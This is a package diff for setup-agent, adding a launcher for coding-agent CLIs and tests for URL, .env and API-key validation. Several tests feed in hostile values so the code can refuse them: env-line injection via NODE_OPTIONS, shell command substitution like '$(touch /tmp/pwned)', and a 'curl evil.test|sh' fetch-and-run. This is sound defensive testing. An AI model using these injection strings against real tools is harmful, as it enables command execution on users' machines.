setup-agent 0.0.7 → 0.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,137 @@
1
+ import { chmod, mkdtemp, rm, writeFile } from "node:fs/promises";
2
+ import { tmpdir } from "node:os";
3
+ import { join } from "node:path";
4
+ import { describe, expect, it, onTestFinished } from "vitest";
5
+ import {
6
+ CODING_AGENTS,
7
+ detectAgentKind,
8
+ findCommand,
9
+ isDirectInvocation,
10
+ runCodingAgent,
11
+ } from "./agents";
12
+
13
+ describe("CODING_AGENTS", () => {
14
+ it("lists the twenty most used coding agents once each", () => {
15
+ expect(CODING_AGENTS).toHaveLength(20);
16
+ const kinds = CODING_AGENTS.map((agent) => agent.kind);
17
+ expect(new Set(kinds).size).toBe(kinds.length);
18
+ expect(kinds.slice(0, 4)).toEqual(["claude", "codex", "cursor", "gemini"]);
19
+ });
20
+
21
+ it("starts an agent with the prompt as its first message", () => {
22
+ const byKind = Object.fromEntries(
23
+ CODING_AGENTS.map((agent) => [agent.kind, agent]),
24
+ );
25
+ expect(byKind.claude!.launch!.args("go")).toEqual(["go"]);
26
+ expect(byKind.gemini!.launch!.args("go")).toEqual(["-i", "go"]);
27
+ expect(byKind.opencode!.launch!.args("go")).toEqual(["--prompt", "go"]);
28
+ expect(byKind.windsurf!.launch).toBeUndefined();
29
+ });
30
+ });
31
+
32
+ describe("detectAgentKind", () => {
33
+ it("reads the agent from AI_AGENT first", () => {
34
+ expect(detectAgentKind({ AI_AGENT: "claude-code_2-1-3_agent" })).toBe(
35
+ "claude",
36
+ );
37
+ expect(detectAgentKind({ AI_AGENT: "github-copilot" })).toBe("copilot");
38
+ expect(detectAgentKind({ AI_AGENT: "some-new-agent" })).toBe("other");
39
+ expect(detectAgentKind({ AI_AGENT: " " })).toBeUndefined();
40
+ expect(detectAgentKind({ AI_AGENT: "claudette" })).toBe("other");
41
+ expect(detectAgentKind({ AI_AGENT: "codex" })).toBe("codex");
42
+ expect(
43
+ detectAgentKind({
44
+ AI_AGENT: "claude-code_2-1-3_agent",
45
+ CODEX_THREAD_ID: "t",
46
+ }),
47
+ ).toBe("claude");
48
+ });
49
+
50
+ it("reads the variables each agent exports to its shell", () => {
51
+ expect(detectAgentKind({ CODEX_THREAD_ID: "t" })).toBe("codex");
52
+ expect(detectAgentKind({ QWEN_CODE: "1" })).toBe("qwen");
53
+ expect(detectAgentKind({ OPENCODE_CLIENT: "cli" })).toBe("opencode");
54
+ expect(detectAgentKind({ AUGMENT_AGENT: "1" })).toBe("augment");
55
+ });
56
+
57
+ it("treats a person at a terminal inside an editor, or with Goose configured, as no agent", () => {
58
+ expect(detectAgentKind({ GOOSE_PROVIDER: "openai" })).toBeUndefined();
59
+ expect(
60
+ detectAgentKind({ CURSOR_TRACE_ID: "x", TERM_PROGRAM: "vscode" }),
61
+ ).toBe(undefined);
62
+ expect(
63
+ isDirectInvocation(
64
+ { CURSOR_TRACE_ID: "x" },
65
+ { isTTY: true },
66
+ { isTTY: true },
67
+ ),
68
+ ).toBe(true);
69
+ });
70
+ });
71
+
72
+ describe("findCommand and runCodingAgent", () => {
73
+ const binDirectory = async () => {
74
+ const directory = await mkdtemp(join(tmpdir(), "setup-agent-bin-"));
75
+ onTestFinished(() => rm(directory, { recursive: true, force: true }));
76
+ const script = join(directory, "fake-agent");
77
+ await writeFile(
78
+ script,
79
+ '#!/bin/sh\n[ "$1" = "-i" ] && [ "$2" = "hello" ] && exit 7\nexit 1\n',
80
+ );
81
+ await chmod(script, 0o755);
82
+ const second = join(directory, "other-agent");
83
+ await writeFile(second, "#!/bin/sh\nexit 0\n");
84
+ await chmod(second, 0o755);
85
+ return directory;
86
+ };
87
+
88
+ it.skipIf(process.platform === "win32")(
89
+ "finds the first installed command and runs it with the prompt",
90
+ async () => {
91
+ const directory = await binDirectory();
92
+ const path = process.env.PATH;
93
+ process.env.PATH = `${directory}:${path}`;
94
+ onTestFinished(() => {
95
+ process.env.PATH = path;
96
+ });
97
+ expect(findCommand(["missing-agent", "fake-agent"])).toBe("fake-agent");
98
+ expect(findCommand(["other-agent", "fake-agent"])).toBe("other-agent");
99
+ expect(findCommand(["fake-agent", "other-agent"])).toBe("fake-agent");
100
+ expect(findCommand(["fake-agent"], { PATH: "" })).toBeUndefined();
101
+ expect(findCommand(["missing-agent"])).toBeUndefined();
102
+ const code = await runCodingAgent(
103
+ {
104
+ kind: "fake",
105
+ name: "Fake",
106
+ launch: {
107
+ commands: ["fake-agent"],
108
+ args: (prompt) => ["-i", prompt],
109
+ install: "",
110
+ },
111
+ },
112
+ "hello",
113
+ );
114
+ expect(code).toBe(7);
115
+ },
116
+ );
117
+
118
+ it("reports an agent it cannot start as not installed", async () => {
119
+ expect(
120
+ await runCodingAgent(
121
+ {
122
+ kind: "fake",
123
+ name: "Fake",
124
+ launch: {
125
+ commands: ["no-such-agent-xyz"],
126
+ args: () => [],
127
+ install: "",
128
+ },
129
+ },
130
+ "hello",
131
+ ),
132
+ ).toBeUndefined();
133
+ expect(await runCodingAgent({ kind: "zed", name: "Zed" }, "hi")).toBe(
134
+ undefined,
135
+ );
136
+ });
137
+ });
package/src/agents.ts ADDED
@@ -0,0 +1,243 @@
1
+ import spawn from "cross-spawn";
2
+ import { accessSync, constants } from "node:fs";
3
+ import { delimiter, join } from "node:path";
4
+
5
+ /**
6
+ * A coding agent a person can hand a setup to. `launch` is set when the
7
+ * agent has a terminal command that opens an interactive session with a
8
+ * first prompt; the others are handed the prompt to paste.
9
+ */
10
+ export type CodingAgent = {
11
+ kind: string;
12
+ name: string;
13
+ launch?: {
14
+ /** Command names to try in order; the first one on PATH runs. */
15
+ commands: readonly string[];
16
+ args: (prompt: string) => string[];
17
+ install: string;
18
+ };
19
+ };
20
+
21
+ /** The coding agents people use most, in the order the picker lists them. */
22
+ export const CODING_AGENTS: readonly CodingAgent[] = [
23
+ {
24
+ kind: "claude",
25
+ name: "Claude Code",
26
+ launch: {
27
+ commands: ["claude"],
28
+ args: (prompt) => [prompt],
29
+ install: "npm install -g @anthropic-ai/claude-code",
30
+ },
31
+ },
32
+ {
33
+ kind: "codex",
34
+ name: "Codex",
35
+ launch: {
36
+ commands: ["codex"],
37
+ args: (prompt) => [prompt],
38
+ install: "npm install -g @openai/codex",
39
+ },
40
+ },
41
+ {
42
+ kind: "cursor",
43
+ name: "Cursor",
44
+ launch: {
45
+ commands: ["cursor-agent", "agent"],
46
+ args: (prompt) => [prompt],
47
+ install: "curl https://cursor.com/install -fsS | bash",
48
+ },
49
+ },
50
+ {
51
+ kind: "gemini",
52
+ name: "Gemini CLI",
53
+ launch: {
54
+ commands: ["gemini"],
55
+ args: (prompt) => ["-i", prompt],
56
+ install: "npm install -g @google/gemini-cli",
57
+ },
58
+ },
59
+ {
60
+ kind: "copilot",
61
+ name: "Copilot CLI",
62
+ launch: {
63
+ commands: ["copilot"],
64
+ args: (prompt) => ["-i", prompt],
65
+ install: "npm install -g @github/copilot",
66
+ },
67
+ },
68
+ { kind: "amp", name: "Amp" },
69
+ {
70
+ kind: "opencode",
71
+ name: "OpenCode",
72
+ launch: {
73
+ commands: ["opencode"],
74
+ args: (prompt) => ["--prompt", prompt],
75
+ install: "npm install -g opencode-ai",
76
+ },
77
+ },
78
+ { kind: "cline", name: "Cline" },
79
+ { kind: "aider", name: "Aider" },
80
+ { kind: "goose", name: "Goose" },
81
+ { kind: "warp", name: "Warp" },
82
+ { kind: "windsurf", name: "Windsurf" },
83
+ {
84
+ kind: "kiro",
85
+ name: "Kiro",
86
+ launch: {
87
+ commands: ["kiro-cli"],
88
+ args: (prompt) => ["chat", prompt],
89
+ install: "curl -fsSL https://cli.kiro.dev/install | bash",
90
+ },
91
+ },
92
+ { kind: "junie", name: "Junie" },
93
+ {
94
+ kind: "qwen",
95
+ name: "Qwen Code",
96
+ launch: {
97
+ commands: ["qwen"],
98
+ args: (prompt) => ["-i", prompt],
99
+ install: "npm install -g @qwen-code/qwen-code",
100
+ },
101
+ },
102
+ { kind: "roo", name: "Roo Code" },
103
+ { kind: "zed", name: "Zed" },
104
+ {
105
+ kind: "augment",
106
+ name: "Augment",
107
+ launch: {
108
+ commands: ["auggie"],
109
+ args: (prompt) => [prompt],
110
+ install: "npm install -g @augmentcode/auggie",
111
+ },
112
+ },
113
+ {
114
+ kind: "droid",
115
+ name: "Factory Droid",
116
+ launch: {
117
+ commands: ["droid"],
118
+ args: (prompt) => [prompt],
119
+ install: "curl -fsSL https://app.factory.ai/cli | sh",
120
+ },
121
+ },
122
+ { kind: "crush", name: "Crush" },
123
+ ];
124
+
125
+ /** The variables each agent exports to the shells it runs commands in. */
126
+ const AGENT_ENV: readonly [kind: string, variable: string][] = [
127
+ ["claude", "CLAUDECODE"],
128
+ ["claude", "CLAUDE_CODE"],
129
+ ["codex", "CODEX_SANDBOX"],
130
+ ["codex", "CODEX_SANDBOX_NETWORK_DISABLED"],
131
+ ["codex", "CODEX_CI"],
132
+ ["codex", "CODEX_THREAD_ID"],
133
+ ["cursor", "CURSOR_AGENT"],
134
+ ["gemini", "GEMINI_CLI"],
135
+ ["qwen", "QWEN_CODE"],
136
+ ["copilot", "COPILOT_AGENT"],
137
+ ["copilot", "COPILOT_CLI"],
138
+ ["opencode", "OPENCODE_CLIENT"],
139
+ ["augment", "AUGMENT_AGENT"],
140
+ ["junie", "JUNIE_DATA"],
141
+ ];
142
+
143
+ /** `AI_AGENT` values name the agent first, such as `claude-code_2-1-3_agent` or `github-copilot`. */
144
+ const AI_AGENT_PREFIXES: readonly [prefix: string, kind: string][] = [
145
+ ["claude", "claude"],
146
+ ["codex", "codex"],
147
+ ["cursor", "cursor"],
148
+ ["gemini", "gemini"],
149
+ ["github-copilot", "copilot"],
150
+ ["github_copilot", "copilot"],
151
+ ["copilot", "copilot"],
152
+ ["opencode", "opencode"],
153
+ ["augment", "augment"],
154
+ ["auggie", "augment"],
155
+ ["qwen", "qwen"],
156
+ ["amp", "amp"],
157
+ ["goose", "goose"],
158
+ ["junie", "junie"],
159
+ ["droid", "droid"],
160
+ ["factory", "droid"],
161
+ ["kiro", "kiro"],
162
+ ["cline", "cline"],
163
+ ["crush", "crush"],
164
+ ];
165
+
166
+ /** The coding agent this process runs under, from the variables each one exports to its shell. */
167
+ export const detectAgentKind = (
168
+ env: NodeJS.ProcessEnv = process.env,
169
+ ): string | undefined => {
170
+ const named = env.AI_AGENT?.trim().toLowerCase();
171
+ if (named) {
172
+ // The name, or the name followed by a separator and a version or role.
173
+ const match = AI_AGENT_PREFIXES.find(
174
+ ([prefix]) =>
175
+ named.startsWith(prefix) &&
176
+ (named.length === prefix.length ||
177
+ /[-_ ./0-9]/.test(named[prefix.length]!)),
178
+ );
179
+ return match?.[1] ?? "other";
180
+ }
181
+ return AGENT_ENV.find(([, variable]) => env[variable])?.[0];
182
+ };
183
+
184
+ /** True when a person typed the command into a terminal rather than an agent running it from its shell. */
185
+ export const isDirectInvocation = (
186
+ env: NodeJS.ProcessEnv = process.env,
187
+ stdin: { isTTY?: boolean | undefined } = process.stdin,
188
+ stdout: { isTTY?: boolean | undefined } = process.stdout,
189
+ ) =>
190
+ detectAgentKind(env) === undefined &&
191
+ stdin.isTTY === true &&
192
+ stdout.isTTY === true;
193
+
194
+ /** The first of `commands` found on PATH, or `undefined`. */
195
+ export const findCommand = (
196
+ commands: readonly string[],
197
+ env: NodeJS.ProcessEnv = process.env,
198
+ ): string | undefined => {
199
+ // Empty entries (the working directory) are skipped on purpose: a project
200
+ // must not be able to plant its own `claude` next to the user.
201
+ const directories = (env.PATH ?? "").split(delimiter).filter(Boolean);
202
+ const extensions =
203
+ process.platform === "win32"
204
+ ? (env.PATHEXT ?? ".EXE;.CMD;.BAT").split(";")
205
+ : [""];
206
+ return commands.find((command) =>
207
+ directories.some((directory) =>
208
+ extensions.some((extension) => {
209
+ try {
210
+ accessSync(join(directory, command + extension), constants.X_OK);
211
+ return true;
212
+ } catch {
213
+ return false;
214
+ }
215
+ }),
216
+ ),
217
+ );
218
+ };
219
+
220
+ /**
221
+ * Starts `agent` in this terminal with `prompt` as its first message and
222
+ * resolves with its exit code; `undefined` when its command is not installed.
223
+ */
224
+ export const runCodingAgent = (
225
+ agent: CodingAgent,
226
+ prompt: string,
227
+ ): Promise<number | undefined> => {
228
+ const launch = agent.launch;
229
+ if (!launch) return Promise.resolve(undefined);
230
+ const command = findCommand(launch.commands);
231
+ if (command === undefined) return Promise.resolve(undefined);
232
+ const child = spawn(command, launch.args(prompt), { stdio: "inherit" });
233
+ return new Promise((resolve) => {
234
+ child.on("error", (error: NodeJS.ErrnoException) => {
235
+ if (error.code === "ENOENT") resolve(undefined);
236
+ else {
237
+ process.stderr.write(`${error.message}\n`);
238
+ resolve(1);
239
+ }
240
+ });
241
+ child.on("exit", (status) => resolve(status ?? 1));
242
+ });
243
+ };
package/src/cli.test.ts CHANGED
@@ -26,6 +26,7 @@ import {
26
26
  diffEvents,
27
27
  detectAgentKind,
28
28
  isDirectInvocation,
29
+ parseSetupUrl,
29
30
  upsertEnvLine,
30
31
  waitForStart,
31
32
  writeEnvSecret,
@@ -307,6 +308,87 @@ describe("upsertEnvLine", () => {
307
308
  ).toBe("A=1\nOPENAI_API_KEY=sk-2\nB=2\n");
308
309
  expect(upsertEnvLine("A=1\n", "B", "2")).toBe("A=1\nB=2\n");
309
310
  });
311
+
312
+ it.each([
313
+ "sk-1\nNODE_OPTIONS=--require ./evil.js",
314
+ "sk-1\rNODE_OPTIONS=x",
315
+ "sk-1\u0000",
316
+ "sk-1\u2028NODE_OPTIONS=x",
317
+ "sk-1\u0085NODE_OPTIONS=x",
318
+ ])("refuses a value that would add lines: %j", (value) => {
319
+ expect(() => upsertEnvLine("A=1\n", "OPENAI_API_KEY", value)).toThrow(
320
+ "must be a single line",
321
+ );
322
+ });
323
+
324
+ it("keeps an = inside the value on the key's own line", () => {
325
+ expect(upsertEnvLine("", "KEY", "abc==")).toBe("KEY=abc==\n");
326
+ });
327
+ });
328
+
329
+ describe("parseSetupUrl", () => {
330
+ it.each([
331
+ ["https://checkout.test/session", "https://checkout.test/session"],
332
+ ["https://checkout.test/session/", "https://checkout.test/session"],
333
+ ["https://checkout.test", "https://checkout.test"],
334
+ ["HTTPS://Checkout.Test:8443/a/b", "https://checkout.test:8443/a/b"],
335
+ ["http://localhost:18892/checkout/s", "http://localhost:18892/checkout/s"],
336
+ ["http://127.0.0.1:8787/checkout/s", "http://127.0.0.1:8787/checkout/s"],
337
+ ["http://[::1]:8787/checkout/s", "http://[::1]:8787/checkout/s"],
338
+ ["http://app.localhost/checkout/s", "http://app.localhost/checkout/s"],
339
+ ])("accepts %j", (value, href) => {
340
+ expect(parseSetupUrl(value)).toBe(href);
341
+ });
342
+
343
+ it.each([
344
+ ["not a url", "is not a URL"],
345
+ ["http://checkout.test/session", "must use https"],
346
+ ["http://localhost.evil.test/session", "must use https"],
347
+ ["ftp://checkout.test/session", "must use https"],
348
+ ["file:///etc/passwd", "must use https"],
349
+ ["javascript:alert(1)", "must use https"],
350
+ ["https://user:pass@checkout.test/session", "must not carry credentials"],
351
+ [
352
+ "https://checkout.test/session?x=$(touch /tmp/pwned)",
353
+ "query or fragment",
354
+ ],
355
+ ["https://checkout.test/session?", "query or fragment"],
356
+ ["https://checkout.test/session#`id`", "query or fragment"],
357
+ ["https://checkout.test/s;curl evil.test|sh", "characters"],
358
+ ["https://checkout.test/s$(id)", "characters"],
359
+ ["https://checkout.test/s'&&id&&'", "characters"],
360
+ ["https://checkout.test/s!x*y", "characters"],
361
+ ])("refuses %j", (value, message) => {
362
+ expect(() => parseSetupUrl(value)).toThrow(message);
363
+ });
364
+
365
+ it("keeps characters the parser escapes from reaching a shell", () => {
366
+ const href = parseSetupUrl('https://checkout.test/s`id`"x" y<z>{w}');
367
+ expect(href).toBe(
368
+ "https://checkout.test/s%60id%60%22x%22%20y%3Cz%3E%7Bw%7D",
369
+ );
370
+ });
371
+
372
+ it("refuses an unsafe URL before connecting", async () => {
373
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
374
+ throw new Error("exit");
375
+ });
376
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
377
+ onTestFinished(() => {
378
+ exit.mockRestore();
379
+ stderr.mockRestore();
380
+ connectCheckoutMock.mockReset();
381
+ });
382
+ for (const url of [
383
+ "https://checkout.test/s;touch${IFS}/tmp/pwned",
384
+ "https://checkout.test/s?x=`id`",
385
+ "http://checkout.test/session",
386
+ ]) {
387
+ await expect(main([url, "status"])).rejects.toThrow("exit");
388
+ }
389
+ expect(connectCheckoutMock).not.toHaveBeenCalled();
390
+ expect(stderr).toHaveBeenCalledTimes(3);
391
+ });
310
392
  });
311
393
 
312
394
  describe("detectAgentKind", () => {
@@ -520,6 +602,41 @@ describe("begin planning", () => {
520
602
  });
521
603
 
522
604
  describe("agent instructions", () => {
605
+ it("goes straight to planning for a setup the agent started", () => {
606
+ const browserUrl =
607
+ "https://www.assistant-ui.com/components/setup#link=abc12345&setup=def67890";
608
+ const started = agentInstructions("https://setup.test/abc12345", {
609
+ startedByAgent: { browserUrl },
610
+ });
611
+ expect(started).not.toContain("click Begin plan");
612
+ expect(started).not.toContain("wait start\nKeep the stream running");
613
+ expect(started).toContain("there is no Begin plan click to wait for");
614
+ expect(started).toContain(browserUrl);
615
+ expect(started).toContain("a setup you opened in the user's browser");
616
+ const opened = agentInstructions("https://setup.test/abc12345");
617
+ expect(opened).toContain("click Begin plan");
618
+ expect(opened).toContain("a setup the user opened in their browser");
619
+ });
620
+
621
+ it("asks what to set up when the setup has no products", () => {
622
+ expect(agentInstructions("https://setup.test/s")).toContain(
623
+ "If the setup lists no products, first ask the user what to set up",
624
+ );
625
+ });
626
+
627
+ it("prints a setup URL as one quoted shell word", () => {
628
+ const instructions = agentInstructions("https://checkout.test/a'b;c");
629
+ expect(instructions).toContain(
630
+ "npx setup-agent 'https://checkout.test/a'\\''b;c' stream",
631
+ );
632
+ expect(instructions).not.toContain(
633
+ "npx setup-agent https://checkout.test/a'",
634
+ );
635
+ expect(agentInstructions("https://checkout.test/s")).toContain(
636
+ "npx setup-agent https://checkout.test/s stream",
637
+ );
638
+ });
639
+
523
640
  it("discovers related products and asks contextual entry points before the plan", () => {
524
641
  const instructions = agentInstructions(
525
642
  "http://localhost:18892/checkout/session",
@@ -651,6 +768,15 @@ describe("writeEnvSecret", () => {
651
768
  expect(take).not.toHaveBeenCalled();
652
769
  });
653
770
 
771
+ it("leaves the file intact when the secret is refused", async () => {
772
+ const file = join(await tempDir(), ".env.local");
773
+ await writeFile(file, "A=1\nB=2\n");
774
+ await expect(
775
+ writeEnvSecret(file, "OPENAI_API_KEY", async () => "sk-test\nEVIL=1"),
776
+ ).rejects.toThrow();
777
+ expect(await readFile(file, "utf8")).toBe("A=1\nB=2\n");
778
+ });
779
+
654
780
  it("keeps lines another writer added while the secret was being taken", async () => {
655
781
  const file = join(await tempDir(), ".env.local");
656
782
  await writeEnvSecret(file, "OPENAI_API_KEY", async () => {
@@ -985,6 +1111,85 @@ describe("model key handoff", () => {
985
1111
  expect(await readFile(keyFile, "utf8")).toBe(redeemKey);
986
1112
  });
987
1113
 
1114
+ it.each([
1115
+ "sk-1\nNODE_OPTIONS=--require ./evil.js",
1116
+ "sk-1\r\nNODE_OPTIONS=x",
1117
+ "sk 1",
1118
+ 'sk-"1"',
1119
+ "sk-$(id)",
1120
+ "sk-1;id",
1121
+ "sk-1|id",
1122
+ "sk-1&id",
1123
+ "sk-1>out",
1124
+ ])(
1125
+ "refuses a deposited key that is not one API key word: %j",
1126
+ async (key) => {
1127
+ const { state } = await setup();
1128
+ answerModel(state);
1129
+ vi.stubGlobal(
1130
+ "fetch",
1131
+ vi.fn(async () => new Response(key)),
1132
+ );
1133
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
1134
+ throw new Error("exit");
1135
+ });
1136
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
1137
+ onTestFinished(() => {
1138
+ exit.mockRestore();
1139
+ stderr.mockRestore();
1140
+ });
1141
+ const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
1142
+ onTestFinished(() => rm(directory, { recursive: true, force: true }));
1143
+ const file = join(directory, ".env.local");
1144
+ await writeFile(file, "A=1\n");
1145
+ await expect(
1146
+ main([
1147
+ "https://checkout.test/session",
1148
+ "env",
1149
+ "q1",
1150
+ "OPENAI_API_KEY",
1151
+ "--file",
1152
+ file,
1153
+ ]),
1154
+ ).rejects.toThrow("exit");
1155
+ expect(stderr).toHaveBeenCalledWith(
1156
+ expect.stringContaining("the deposited key is not a valid API key"),
1157
+ );
1158
+ expect(await readFile(file, "utf8")).toBe("A=1\n");
1159
+ },
1160
+ );
1161
+
1162
+ it("never fetches the key over plain http off this machine", async () => {
1163
+ await setup();
1164
+ const fetch = vi.fn();
1165
+ vi.stubGlobal("fetch", fetch);
1166
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
1167
+ throw new Error("exit");
1168
+ });
1169
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
1170
+ onTestFinished(() => {
1171
+ exit.mockRestore();
1172
+ stderr.mockRestore();
1173
+ });
1174
+ connectCheckoutMock.mockClear();
1175
+ await expect(
1176
+ main(["http://checkout.test/session", "env", "q1", "OPENAI_API_KEY"]),
1177
+ ).rejects.toThrow("exit");
1178
+ expect(stderr).toHaveBeenCalledWith(
1179
+ expect.stringContaining("must use https"),
1180
+ );
1181
+ expect(connectCheckoutMock).not.toHaveBeenCalled();
1182
+ expect(fetch).not.toHaveBeenCalled();
1183
+ });
1184
+
1185
+ it("fetches the key over http on localhost", async () => {
1186
+ const { state } = await setup();
1187
+ const fetch = await redeem(state, "http://localhost:18892/checkout/s");
1188
+ expect(fetch.mock.calls[0]?.[0]).toBe(
1189
+ "http://localhost:18892/checkout/s/secret/q1?setup=setup-a",
1190
+ );
1191
+ });
1192
+
988
1193
  it.skipIf(process.platform === "win32")(
989
1194
  "refuses a symbolic link for the stored key",
990
1195
  async () => {